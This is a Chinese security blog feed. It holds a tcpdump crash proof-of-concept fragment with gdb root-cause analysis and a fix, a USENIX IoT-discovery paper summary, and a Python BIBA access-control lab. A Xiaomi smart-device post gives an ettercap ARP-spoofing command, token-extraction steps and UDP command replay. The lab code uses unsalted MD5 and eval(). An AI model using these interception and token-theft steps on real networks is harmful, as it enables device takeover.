print("Exploit successful! ")
except:
print("Error: Something has gone wrong!")
def main():
print("Author: David Silveiro ")
print(" tcpdump version 4.5.1 Access Violation Crash ")
sleep(2)
crash()
if __name__ == "__main__":
main()

崩溃分析

pcap包格式

首先来分析一下pcap包的格式,首先是pcap文件头的内容,在.h有所定义,这里将结构体以及对应变量含义都列出来。

1
2
3
4
5
6
7
8
9
struct pcap_file_header {
bpf_u_int32 magic;
u_short version_major;
u_short version_minor;
bpf_int32 thiszone; /* gmt to local correction */
bpf_u_int32 sigfigs; /* accuracy of timestamps */
bpf_u_int32 snaplen; /* max length saved portion of each pkt */
bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */
};

看一下各字段的含义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 magic:   4字节 pcap文件标识 目前为“d4 c3 b2 a1”
major: 2字节 主版本号 #define PCAP_VERSION_MAJOR 2
minor: 2字节 次版本号 #define PCAP_VERSION_MINOR 4
thiszone:4字节 时区修正 并未使用,目前全为0
sigfigs: 4字节 精确时间戳 并未使用,目前全为0
snaplen: 4字节 抓包最大长度 如果要抓全,设为0x0000ffff(65535),
tcpdump -s 0就是设置这个参数,缺省为68字节
linktype:4字节 链路类型 一般都是1:ethernet

struct pcap_pkthdr {
struct timeval ts; /* time stamp */
bpf_u_int32 caplen; /* length of portion present */
bpf_u_int32 len; /* length this packet (off wire) */
};
struct timeval {
long tv_sec; /* seconds (XXX should be time_t) */
suseconds_t tv_usec; /* and microseconds */
};
ts: 8字节 抓包时间 4字节表示秒数,4字节表示微秒数
caplen:4字节 保存下来的包长度(最多是snaplen,比如68字节)
len: 4字节 数据包的真实长度,如果文件中保存的不是完整数据包,可能比caplen大

其中len变量是值得关注的,因为在crash文件中,对应len变量的值为00 3C 9C 37
这是一个很大的值,读取出来就是379C3C00,数非常大,实际上在wireshark中打开这个crash文件,就会报错,会提示这个数据包的长度已经超过了范围,而换算出来的长度就是379C3C00,这是触发漏洞的关键。

gdb调试

首先通过gdb运行tcpdump,用-r参数打开poc生成的crash,tcp崩溃,到达漏洞触发位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1.Program received signal SIGSEGV, Segmentation fault.
2.[----------------------------------registers-----------------------------------]
3.EAX: 0x1
4.EBX: 0x81e33bd --> 0x0
5.ECX: 0x2e ('.')
6.EDX: 0x0
7.ESI: 0xbfffe201 ('.' <repeats 14 times>)
8.EDI: 0xbfffe1db --> 0x30303000 ('')
9.EBP: 0x10621
10.ESP: 0xbfffe1ac --> 0x8053caa (<hex_and_ascii_print_with_offset+170>: mov ecx,DWORD PTR [esp+0xc])
11.EIP: 0x8053c6a (<hex_and_ascii_print_with_offset+106>: movzx edx,BYTE PTR [ebx+ebp*2+0x1])
12.EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
13.[-------------------------------------code-------------------------------------]
14. 0x8053c5d <hex_and_ascii_print_with_offset+93>: je 0x8053d40 <hex_and_ascii_print_with_offset+320>
15. 0x8053c63 <hex_and_ascii_print_with_offset+99>: mov ebx,DWORD PTR [esp+0x18]
16. 0x8053c67 <hex_and_ascii_print_with_offset+103>: sub esp,0x4
17.=> 0x8053c6a <hex_and_ascii_print_with_offset+106>: movzx edx,BYTE PTR [ebx+ebp*2+0x1]
18. 0x8053c6f <hex_and_ascii_print_with_offset+111>: movzx ecx,BYTE PTR [ebx+ebp*2]
19. 0x8053c73 <hex_and_ascii_print_with_offset+115>: push edx
20. 0x8053c74 <hex_and_ascii_print_with_offset+116>: mov ebx,edx
21. 0x8053c76 <hex_and_ascii_print_with_offset+118>: mov DWORD PTR [esp+0x18],edx
22.[------------------------------------stack-------------------------------------]
23.0000| 0xbfffe1ac --> 0x8053caa (<hex_and_ascii_print_with_offset+170>: mov ecx,DWORD PTR [esp+0xc])
24.0004| 0xbfffe1b0 --> 0xb7fff000 --> 0x23f3c
25.0008| 0xbfffe1b4 --> 0x1
26.0012| 0xbfffe1b8 --> 0x2f5967 ('gY/')
27.0016| 0xbfffe1bc --> 0x0
28.0020| 0xbfffe1c0 --> 0x0
29.0024| 0xbfffe1c4 --> 0x7ffffff9
30.0028| 0xbfffe1c8 --> 0x81e33bd --> 0x0
31.[------------------------------------------------------------------------------]
32.Legend: code, data, rodata, value
33.Stopped reason: SIGSEGV
34.hex_and_ascii_print_with_offset (ident=0x80c04af "\n\t", cp=0x8204000 <error: Cannot access memory at address 0x8204000>,
35. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91
36.91 s2 = *cp++;

从崩溃信息来看,出错位置为s2 = cp++;崩溃原因为SIGSEGV,即进程执行了一段无效的内存引用或发生段错误。可以看到,问题出现在./print-ascii.c:91,而且此时指针读取[ebx+ebp2+0x1]的内容,可能是越界读取造成的崩溃。
再结合源码信息可知,指针cp在自加的过程中访问到了一个没有权限访问的地址,因为这是写在一个while循环里,也就是是说nshorts的值偏大,再看nshorts怎么来的,由此nshorts = length / sizeof(u_short);可知,可能是函数传入的参数length没有控制大小导致,因此目标就是追踪length是如何传入的。
我们通过bt回溯一下调用情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
1.gdb-peda$ bt
2.#0 hex_and_ascii_print_with_offset (ident=0x80c04af "\n\t", cp=0x8204000 <error: Cannot access memory at address 0x8204000>,
3. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91
4.#1 0x08053e26 in hex_and_ascii_print (ident=0x80c04af "\n\t", cp=0x81e33bd "", length=0xfffffff3) at ./print-ascii.c:127
5.#2 0x08051e7d in ieee802_15_4_if_print (ndo=0x81e1320 <Gndo>, h=0xbfffe40c, p=<optimized out>) at ./print-802_15_4.c:180
6.#3 0x080a0aea in print_packet (user=0xbfffe4dc " \023\036\b\300\034\005\b\001", h=0xbfffe40c, sp=0x81e33a8 "@\377")
7. at ./tcpdump.c:1950
8.#4 0xb7fa3468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
9.#5 0xb7f940e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
10.#6 0x0804b3dd in main (argc=0x3, argv=0xbffff6c4) at ./tcpdump.c:1569
11.#7 0xb7de9637 in __libc_start_main (main=0x804a4c0 <main>, argc=0x3, argv=0xbffff6c4, init=0x80b1230 <__libc_csu_init>,
12. fini=0x80b1290 <__libc_csu_fini>, rtld_fini=0xb7fea880 <_dl_fini>, stack_end=0xbffff6bc) at ../csu/libc-start.c:291
13.#8 0x0804c245 in _start ()

函数调用流程

1
2
3
4
pcap_loop
|----print_packet
|-----hex_and_ascii_print
|-------- hex_and_ascii_print_with_offset

由此可见,从main函数开始了一连串函数调用,git源码下来看看。
tcpdump.c找到pcap_loop调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1.    do {
2. status = pcap_loop(pd, cnt, callback, pcap_userdata);
3. if (WFileName == NULL) {
4. /*
5. * We're printing packets. Flush the printed output,
6. * so it doesn't get intermingled with error output.
7. */
8. if (status == -2) {
9. /*
10. * We got interrupted, so perhaps we didn't
11. * manage to finish a line we were printing.
12. * Print an extra newline, just in case.
13. */
14. putchar('n');
15. }
16. (void)fflush(stdout);
17. }

设置断点之后查看一下该函数的执行结果

pcap_loop通过callback指向print_packet,来看一下它的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1.static void
2.print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)
3.{
4. struct print_info *print_info;
5. u_int hdrlen;
6. ++packets_captured;
7. ++infodelay;
8. ts_print(&h->ts);
9. print_info = (struct print_info *)user;
10. /*
11. * Some printers want to check that they're not walking off the
12. * end of the packet.
13. * Rather than pass it all the way down, we set this global.
14. */
15. snapend = sp + h->caplen;
16. if(print_info->ndo_type) {
17. hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);<====
18. } else {
19. hdrlen = (*print_info->p.printer)(h, sp);
20. }
21. putchar('n');
22. --infodelay;
23. if (infoprint)
24. info(0);}

同样设置断点看该函数是如何调用执行的

这是我们可以根据call的信息,计算出调用的函数名

其中(*print_info->p.ndo_printer)(print_info->ndo,h,sp)指向ieee802_15_4_if_print

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
25.u_int
26.ieee802_15_4_if_print(struct netdissect_options *ndo,
27.const struct pcap_pkthdr *h, const u_char *p)
28.{
29.printf("address : %x\n",p);
30.u_int caplen = h->caplen; //传入的caplen,赋值给无符号整形变量caplen,且该值为8
31.int hdrlen;
32.u_int16_t fc;
33.u_int8_t seq;
34.if (caplen < 3) { //不满足
35.ND_PRINT((ndo, "[|802.15.4] %x", caplen));
36.return caplen;
37.}
38.fc = EXTRACT_LE_16BITS(p);
39.hdrlen = extract_header_length(fc);
40.seq = EXTRACT_LE_8BITS(p + 2);
41.p += 3;
42.caplen -= 3;//此时caplen = 5
43.ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
44.if (vflag)
45.ND_PRINT((ndo,"seq %02x ", seq));
46.if (hdrlen == -1) {
47.ND_PRINT((ndo,"malformed! "));
48.return caplen;
49.}
50.if (!vflag) {
51.p+= hdrlen;
52.caplen -= hdrlen;
53.} else {
54.u_int16_t panid = 0;
55.switch ((fc >> 10) & 0x3) {
56.case 0x00:
57.ND_PRINT((ndo,"none "));
58.break;
59.case 0x01:
60.ND_PRINT((ndo,"reserved destination addressing mode"));
61.return 0;
62.case 0x02:
63.panid = EXTRACT_LE_16BITS(p);
64.p += 2;
65.ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
66.p += 2;
67.break;
68.case 0x03:
69.panid = EXTRACT_LE_16BITS(p);
70.p += 2;
71.ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p)));
72.p += 8;
73.break;
74.}
75.ND_PRINT((ndo,"< ");
76.switch ((fc >> 14) & 0x3) {
77.case 0x00:
78.ND_PRINT((ndo,"none "));
79.break;
80.case 0x01:
81.ND_PRINT((ndo,"reserved source addressing mode"));
82.return 0;
83.case 0x02:
84.if (!(fc & (1 << 6))) {
85.panid = EXTRACT_LE_16BITS(p);
86.p += 2;
87.}
88.ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
89.p += 2;
90.break;
91.case 0x03:
92.if (!(fc & (1 << 6))) {
93.panid = EXTRACT_LE_16BITS(p);
94.p += 2;
95.}
96.ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p))));
97.p += 8;
98.break;
99.}
100.caplen -= hdrlen;
101.}

传入的第二个值是struct pcap_pkthdr *h结构体,函数使用的参数caplen就是结构体中的caplen,不难看出,caplen进行一些加减操作后,没有判断正负,直接丢给了下一个函数使用。
直接跟进函数,看看最后赋值情况

从源码和调试信息可以看到libpcap在处理不正常包时不严谨,导致包的头长度hdrlen竟然大于捕获包长度caplen,并且在处理时又没有相关的判断。hdrlen和caplen都是非负整数,导致caplen==0xfffffff3过长。
继续跟进hex_and_asciii_print(ndo_default_print)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1.void
2.hex_and_ascii_print(register const char *ident, register const u_char *cp,
3. register u_int length)
4.{
5. hex_and_ascii_print_with_offset(ident, cp, length, 0);
6.}

其中length==0xfffffff3,继续执行
1.void
2.hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,
3. register u_int oset)
4.{
5. register u_int i, s;
6. register int nshorts;
7.
8. nshorts = (u_int) length / sizeof(u_short);
9. i = 0;
10. while (--nshorts >= 0) {
11. if ((i++ % 8) == 0) {
12. (void)printf("%s0x%04x: ", ident, oset);
13. oset += HEXDUMP_BYTES_PER_LINE;
14. }
15. s = *cp++; <======= 抛出错误位置
16. (void)printf(" %02x%02x", s, *cp++);
17. }
18. if (length & 1) {
19. if ((i % 8) == 0)
20. (void)printf("%s0x%04x: ", ident, oset);
21. (void)printf(" %02x", *cp);
22. }
nshorts=(u_int) length / sizeof(u_short) => nshorts=0xfffffff3/2=‭7FFFFFF9‬‬‬‬

但数据包数据没有这么长,导致了crash。

内存分析

仔细分析之后发现,通过len判断的这个长度并没有进行控制,如果是自己构造的一个超长len的数据包,则会连续读取到不可估计的值。
通过查看epx的值来看一下这个内存到底开辟到什么位置

1
2
3
4
1.gdb-peda$ x/10000000x 0x81e33bd
2.0x8203fdd: 0x00000000 0x00000000 0x00000000 0x00000000
3.0x8203fed: 0x00000000 0x00000000 0x00000000 0x00000000
4.0x8203ffd: Cannot access memory at address 0x8204000

可以看到,到达0x 8204000附近的时候,就是无法读取的无效地址了,那么初始值为0x 81e33bd,用两个值相减。0x 8204000-0x 81e33bd = 0x 20c40,因为ebx+ebp*2+0x1一次读取两个字节,那么循环计数器就要除以2,最后结果为0x 10620。
来看一下到达拒绝服务位置读取的长度:EBX: 0x81e33bd –> 0x0;EBP: 0x10621;
EBP刚好为10621。正是不可读取内存空间的地址,因此造成拒绝服务。

漏洞总结

总结一下整个漏洞触发过程,首先tcpdump会读取恶意构造的pcap包,在构造pcap包的时候,设置一个超长的数据包长度,tcpdump会根据len的长度去读取保存在内存空间数据包的内容,当引用到不可读取内存位置时,会由于引用不可读指针,造成拒绝服务漏洞。

漏洞修补

Libpcap依然是apt安装的默认版本,tcpdump使用4.7 .0-bp版本
在hex_and_ascii_print_with_offset中增加对caplength的判断

1
2
3
4
5
6
7
8
9
1.caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;
2.if (length > caplength)
3. length = caplength;
4.nshorts = length / sizeof(u_short);
5.i = 0;
6.hsp = hexstuff; asp = asciistuff;
7.while (--nshorts >= 0) {
8. ...
9.}

可以看到执行完caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;,caplength为0,继续执行,可以推出length同样为0,到这里已经不会发生错误了。

参考

exploit-db payload
WHEREISK0SHL分析博客
libpcap/tcpdump源码

]]>
+ + - 二进制漏洞 + + 二进制漏洞 + - - TCPDUMP - 拒绝服务攻击 - -
- - <![CDATA[基于采集规则引擎的物联网设备发现方法]]> - %2F2018%2F12%2F23%2F%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87%2F - + + + + + TCPDUMP + + 拒绝服务攻击 + + + + + + + + + 基于采集规则引擎的物联网设备发现方法 + + /2018/12/23/%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87/ + + 论文来源:USENIX SECURITY 2018:Acquisitional Rule-based Engine for Discovering Internet-of-Things Devices
下载:
原文pdf
中文slides

论文解读

概要:

  • 物联网(IoT)设备的快速增长的格局为其管理和安全性带来了重大的技术挑战,因为这些物联网设备来自不同的设备类型,供应商和产品模型。
  • 物联网设备的发现是表征,监控和保护这些设备的先决条件。然而,手动设备注释阻碍了大规模发现,并且基于机器学习的设备分类需要具有标签的大型训练数据。因此,大规模的自动设备发现和注释仍然是物联网中的一个悬而未决的问题。
  • 这篇文章提出了一种基于采集规则的引擎(ARE),它可以自动生成用于在没有任何训练数据的情况下发现和注释物联网设备的规则。ARE通过利用来自物联网设备的应用层响应数据和相关网站中的产品描述来构建设备规则,以进行设备注释。我们将事务定义为对产品描述的唯一响应之间的映射。
  • 为了收集交易集,ARE提取响应数据中的相关术语作为抓取网站的搜索查询。ARE使用关联算法以(类型,供应商和产品)的形式生成物联网设备注释的规则。我们进行实验和三个应用程序来验证ARE的有效性。

背景与动机:

  • 物联网蓬勃发展,造就了物联网设备的广泛应用,它不仅种类繁多,包括摄像头、打印机、路由器、电视盒子、工控系统、医疗设备等,而且数量庞大,据统计,每天就会新增5500000台物联网设备。
  • 但是由于设备脆弱、缺乏管理和配置不当,物联网设备相比传统计算机要更不安全,比如之前爆发的Mirai僵尸网络,给美国造成了重大的损失。因此,为了更主动地保护IOT设备,提前发现、登记和注释物联网设备成为先决条件。
  • 设备注释的内容通常为“设备类型(e.g.,routers) + 供应商(e.g.,CISCO) + 产品型号(e.g.,TV-IP302P)”,传统生成设备注释的方法有基于指纹的,也有使用标志获取的,前者对数据集和大量设备模型的要求很高,而后者需要专业知识的人工方式,因此不可能用于大规模注释而且很难去维护更新。

所以,作者希望提出一种减少对数据集和人工依赖的注释方式。本文的方法主要基于两个事实,第一个Figure 1是制造商通常会将相关信息硬编码到IOT设备,第二个Figure 2是有许多网站(如产品测评)会描述设备产品。从第一个事实,我们可以从应用层数据包获取关键词,然后根据这些关键词依据第二个事实进行网页爬虫,以获取网页上的相关描述,然后对这些描述进行自然语言处理和数据挖掘,从而建立起基于规则的映射。

核心工作—Rule Miner:

Rule Miner由三个部分构成,Transaction set是一对由应用层数据和相关网页组成的文本单元,它生成了一种规则: ,其中A是从应用层数据包中提取的一些特征,B是从相关网页抓取的设备描述;Device entity recognition结合了基于语料库的NER和基于规则的NER(命名实体识别),前者解决了设备类型和供应商名,后者使用正则表达式识别出产品型号。但是由于一个不相干的网页也可能包含设备类型的关键词(如switch),以及一个短语可能因为满足正则表达式而被认为是型号所以表现并不好,但好在实体与实体之间具有很高的依赖性,这三个元素常常一起出现。数据挖掘算法Apriori algorithm用于从Transaction中学习“关系”。

完整架构和应用

完整的ARE除了核心Rule Miner之外,还有Transaction Collection用于收集响应数据和网络爬虫,Rule Library用于存储生成的规则,Planner用于更新规则。
作者主要将ARE应用于三个方面,一是互联网范围的设备测量统计,二是对受损设备进行检测,三是对易受攻击的设备进行分析。

之后对ARE的效果与Nmap进行比较和评估,从产生规则的数量、规则的准确率和覆盖率、动态学习规则的能力以及时间代价,ARE都要优于Nmap。

工作总结:

  • 提出ARE的框架:不需要数据集和人工干预,自动生成用于IOT设备识别的规则。
  • 实现了ARE的原型并评估了它的效果:ARE在一周内生成了大量的规则,而且IOT设备识别的细粒度超过现有工具。
  • 应用于三个场景中,主要发现有:大量IOT设备在互联网中可以抵达;成千上万的IOT设备易受攻击且暴露给了公众。
]]>
+ + - 顶会论文 + + 顶会论文 + - - USENIX - 数据挖掘 - 自然语言处理 - -
- - <![CDATA[利用miio控制局域网内的小米智能设备]]> - %2F2018%2F12%2F15%2Fmiio-control%2F - + + + + + USENIX + + 数据挖掘 + + 自然语言处理 + + + + + + + + + 利用miio控制局域网内的小米智能设备 + + /2018/12/15/miio-control/ + + 控制局域网内的IOT设备

中间人攻击—流量分析

使用Nmap分析局域网内设备,得到智能设备的IP


小米智能插座:192.168.31.197 网关:192.168.31.147(控制它的手机ip)

ettercap嗅探智能设备和网关之间的流量

sudo ettercap -i ens33 -T -q -M ARP:remote /192.168.31.197// /192.168.31.147//

wireshark抓包分析


从图中可以看出,设备的命令控制包为UDP传输,既然是UDP协议传输,那么是否可以通过命令包重放攻击来对设备进行控制?
了解到在homeassistant中可实现对小米设备的集成,并在其中对设备进行管理和操作。Homeassistant,主要以Python语言开发,既然它能操控小米设备,那它底层肯定有相关的函数调用库。
为了可以消除对专有软件(米家app)的依赖,并能控制自己的设备,所以出现了MiIo。设备和米家app在同一局域网下使用的加密专有网络协议我们称之为MiIo协议。
Miio库支持的设备有:

小米IOT控制流程

在同一局域网中,小米设备可以使用专有的加密UDP网络协议进行通信控制。在网络可达的前提下,向小米设备发送hello bytes就可以获得含有token的结构体数据。之后,构造相应的结构体,并且以同样的方式发送给设备即可完成控制。具体流程如下:

设备Token的获取方式

小米设备的token获取有三种途径:miio获取、从米家app获取、从数据库获取

miio获取

在ubuntu下,先安装miio,然后发现设备:
npminstall -g miio
miiodiscover

但是很可惜,很多设备隐藏了token,使用该方法可能无法获取到token或获取到的token不正确。

米家app获取

这种方法需要的mijia app版本较老,且只对部分设备有效。

从数据库获取token

这种方法仅在Mi Home 5.0.19之前的版本可用。
该方法是读取手机中米家的app中的数据记录来获取设备的token,具体步骤如下:

  • 准备一部获取root权限的安卓手机
  • 安装米家app并登录账号
  • 进入/data/data/com.xiaomi.smarthome/databases/
  • 拷贝db,下载到电脑
  • 前往网站,上传db,点击提交,即可获得token。
  • 8894c73cbd5c7224fb4b8a39e360c255

脚本控制IOT设备

首先随意发送hellobytes获得时间和设备ID,token我们自己设置;然后构造发送的数据结构msg,cmd中的method包括:set_power(控制开关)、get_prop(获取状态),控制的params是[‘on’]/ [‘off’],获取状态的params是[‘power’, ‘temperature’]

如果获得了token,就能对小米的设备进行操作,如图下面是返回的信息。

总结

从目前的智能家居市场来看,用户不会只使用单个智能设备厂商的设备,所以对于厂商来说,通过开放接口给用户一些局域网的控制“自由”,实现不同厂商设备的联动是一个不错的选择。
从另外一个角度,本文中体现的安全问题我们也不容忽视。如果在局域网中不经过认证就能获取物联网设备的访问凭证,并进而进行控制,无形中给入侵者留了一扇门。例如,攻击者可经过扫描互联网发现家庭路由器,并利用弱口令或设备漏洞获得路由器的shell权限,接下来就可按照文中步骤就可以获得设备token进而控制。好在小米已经在最新的miio版本中修复了这一漏洞,大大提高了攻击者获取token的难度。

]]>
+ + - IOT + + IOT + - - 小米 - miio - 中间人 - 重放攻击 - -
- - <![CDATA[利用python实现BIBA模型]]> - %2F2018%2F11%2F16%2FBIBA%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E6%A8%A1%E5%9E%8B%E5%AE%9E%E7%8E%B0(python)%2F - + + + + + 小米 + + miio + + 中间人 + + 重放攻击 + + + + + + + + + 利用python实现BIBA模型 + + /2018/11/16/BIBA%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E6%A8%A1%E5%9E%8B%E5%AE%9E%E7%8E%B0(python)/ + + 基于python语言的BIBA模型图形界面实现

实验目的:

  1. 查阅资料,了解biba安全模型的相关知识
  2. 通过编程实现基于biba模型的完整性访问控制,进一步掌握biba模型的规则
  3. 使用python语言实现,熟练pyqt的图形界面设计方法

实验环境:

  • 操作系统:Windows10
  • 工具版本:python3.7,pyqt5

实验原理:

什么是安全模型

  • 系统的元素

    具有行为能力的主体
    不具有行为能力的客体

  • 系统的操作行为

    可以执行的命令:读、写、执行

  • 对系统行为的约束方式

    对行为的控制策略

  • 模型从抽象层次规定了系统行为和约束行为的方式
  • 模型往往用状态来表示

    系统行为所依赖的环境
    行为对系统产生的效果

    biba完整性模型:

    • 完整性威胁问题

      完整性的威胁就是一个子系统在初始时刻认为不正常的修改行为;
      来源:内部&外部;
      类型:直接&间接

外部的直接外部的间接内部的直接内部的间接
外部系统恶意地篡改另一个系统的数据或程序一个外部系统插入恶意的子程序修改自己的代码修改自己的指针
  • biba模型的完整性定义

    完整性级别高的实体对完整性低的实体具有完全的支配性,反之如果一个实体对另一个实体具有完全的控制权,说明前者完整性级别更高,这里的实体既可以是主体也可以是客体。
    完整性级别和可信度有密切的关系,完整级别越高,意味着可信度越高。

  • biba模型的规则
  • 对于写和执行操作,有如下规则:

    写规则控制
    当且仅当主体S的完整性级别大于或等于客体O的完整性级别时,主体S可以写客体O,一般称之为上写
    执行操作控制
    当且仅当主体S2的完整性级别高于或等于S1,主体S1可以执行主体S2。

  • 关于读操作,有不同的控制策略:

    低水标模型
    任意主体可以读任意完整性级别的客体,但是如果主体读完整性级别比自己低的客体时,主体的完整性级别将为客体完整性级别,否则,主体的完整性级别保持不变。
    环模型
    不管完整性级别如何,任何主体都可以读任何客体
    严格完整性模型
    这个模型对读操作是根据主客体的完整性级别严格控制的,即只有完整性级别低或相等的主体才可以读完整性级别高的客体,称为下读

一般都是指毕巴严格完整性模型,总结来说是上写、下读


实验内容:

用户登录实现

核对用户输入的账户密码与存储的是否匹配

login

  • 从用户输入框获取账户和密码
  • 检查输入信息是否合法(为空)
  • 从password.txt中获取,并保存在列表listFromLine中
  • 检查输入的账户是否存在
  • 若存在,检查对应的密码是否正确
  • 若正确,判断是管理员还是普通用户,并跳转相应的界面

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    def checkPass(self):
    nameIn = self.lineEdit.text()
    passwdIn = self.lineEdit_2.text()
    md5 = hashlib.md5()
    md5.update(passwdIn.encode("utf-8"))
    passwdIn = md5.hexdigest()
    if (nameIn == '') or (passwdIn == ''):
    QMessageBox.warning(self,
    "警告",
    "账号和密码不能为空",
    QMessageBox.Yes)
    self.lineEdit.setFocus()
    print(nameIn, passwdIn)
    fr = open('./etc/passwd.txt')
    arrayofLines = fr.readlines()
    numberofLines = len(arrayofLines)
    for line in arrayofLines:
    line = line.strip()
    listFromLine = line.split(':')
    name = listFromLine[0]
    if name == nameIn:
    numberofLines = -1
    passwd = listFromLine[1]
    if passwd == passwdIn:
    group = listFromLine[2]
    print("\n登录成功!\n")
    if name == 'root':
    print('root登录')
    rootUI.show()
    MainWindow.close()
    else:
    urName = nameIn
    mainUI.lineEdit.setText(urName)
    mainUI.lineEdit_2.setText(group)
    mainUI.show()
    MainWindow.close()
    else:
    QMessageBox.warning(self,
    "警告",
    "密码错误!",
    QMessageBox.Yes)
    self.lineEdit.setFocus()
    fr.close()
    return 0

管理员功能实现

管理员可以对用户进行增、删、查的操作

login

增加用户的实现

  • 获取管理员输入的用户名、密码和用户等级
  • 将明文密码转换为md5值
  • 判断输入的账户是否已经存在以及是否为空
  • 如果没有问题,将其存入passwd.txt的末尾
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def adduser(self):
print('开始添加')
name = self.lineEdit_4.text()
passwd = self.lineEdit_6.text()
md5 = hashlib.md5()
md5.update(passwd.encode("utf-8"))
passwd = md5.hexdigest()
group = self.comboBox.currentText()
self.name = name
if self.euxit():
if name == '' or passwd == '':
QMessageBox.warning(self,
"警告",
"账号和密码不能为空",
QMessageBox.Yes)
self.lineEdit.setFocus()
else:
cur_path = os.getcwd()
filename = cur_path + '/etc/passwd.txt'
fi = open(filename, 'r+')
str = name + ':' + passwd + ':' + group + '\n'
print('成功增加用户' + str + '\n')
fi.seek(0, 2)
fi.write(str)
fi.close()
else:
QMessageBox.warning(self,
"警告",
"用户已存在",
QMessageBox.Yes)
self.lineEdit.setFocus()

查询已有用户的实现

从passwd.txt中逐行读出

login

1
2
3
4
5
6
7
8
9
10
11
12
def readuser(self):
print('readuser')
cur_path = os.getcwd()
filename = cur_path + '/etc/passwd.txt'
fo = open(filename)
arrayofLines = fo.readlines()
names = ''
for line in arrayofLines:
line = line.strip()
listFromLine = line.split(':')
names = names + listFromLine[0] + '\n'
self.textEdit.setPlaceholderText(names)

删除用户的实现

从passwd.txt中逐行读出用户名,并与待删除用户比较,如果相同,则删除该行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def rmuser(self):
print(1)
cur_path = os.getcwd()
filename = cur_path + '/etc/passwd.txt'
rmName = self.lineEdit.text()
with open(filename, 'r',encoding="utf-8") as r:
lines = r.readlines()
lenl = len(lines)
with open(filename, 'w',encoding="utf-8") as w:
for line in lines:
l = line.strip()
listFromLine = l.split(':')
if rmName == listFromLine[0]:
print('删除用户' + rmName)
continue
if line == '\n':
print('find换行')
line = ''
w.write(line)

普通用户功能实现

普通用户可以完成对合法权限文件的读取、增加内容(上写下读)以及创建文件的操作

login

读取文件内容

双击文件名
获取选中文件和当前用户的完整性级别
如果用户的级别低于文件,则读取文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def readfile(self):
dict = self.getGrade()
fgrade = str(dict[self.file_path])
ugrade = self.lineEdit_2.text()
if ugrade >= fgrade:
print(ugrade+ ' 正在读取 '+fgrade)
filename = self.file_path
print(filename)
fr = open(filename)
lines = ''
arrayofLines = fr.readlines()
for line in arrayofLines:
lines += line
self.textEdit.setText(lines)
print('读取成功\n')
else:
QMessageBox.warning(self,
"警告",
"您的用户等级太高",
QMessageBox.Yes)
self.lineEdit.setFocus()

增加文件内容

双击文件名
获取选中文件和当前用户的完整性级别
如果用户的级别高于文件,则写入文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def writefile(self):
dict = self.getGrade()
fgrade = dict[self.file_path]
ugrade = self.lineEdit_2.text()
print(ugrade + ' 正在写入 ' + fgrade)
if ugrade <= fgrade:
filename = self.file_path
str = self.textEdit.toPlainText()
print(str)
fo = open(filename, 'r+')
fo.seek(0, 2)
fo.write(str)
else:
QMessageBox.warning(self,
"警告",
"您的用户等级太低",
QMessageBox.Yes)
self.lineEdit.setFocus()

创建文件

获取当前用户名和输入的文件名
在当前路径下创建名为用户名的文件
并对新创建的文件与用户等级建立字典,新文件路径为key,用户等级为value
这个字典方便读写时判断等级高低

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def touchfile(self):
urName = self.lineEdit.text()
filename = self.lineEdit_4.text()
cur_path = os.getcwd()
new_path = os.path.join(cur_path + '/file', urName)
print(urName)
if os.path.exists(new_path) == False:
os.mkdir(new_path)
os.chdir(new_path)
fr = open(filename, 'w')
key = (new_path + '/' + filename).replace('\\', '/')
fr.close()
os.chdir(cur_path)
fa = open('./etc/ac.txt', 'r')
a = fa.read()
if a == '':
dict = {}
else:
dict = eval(a)
dict[key] = self.lineEdit_2.text()
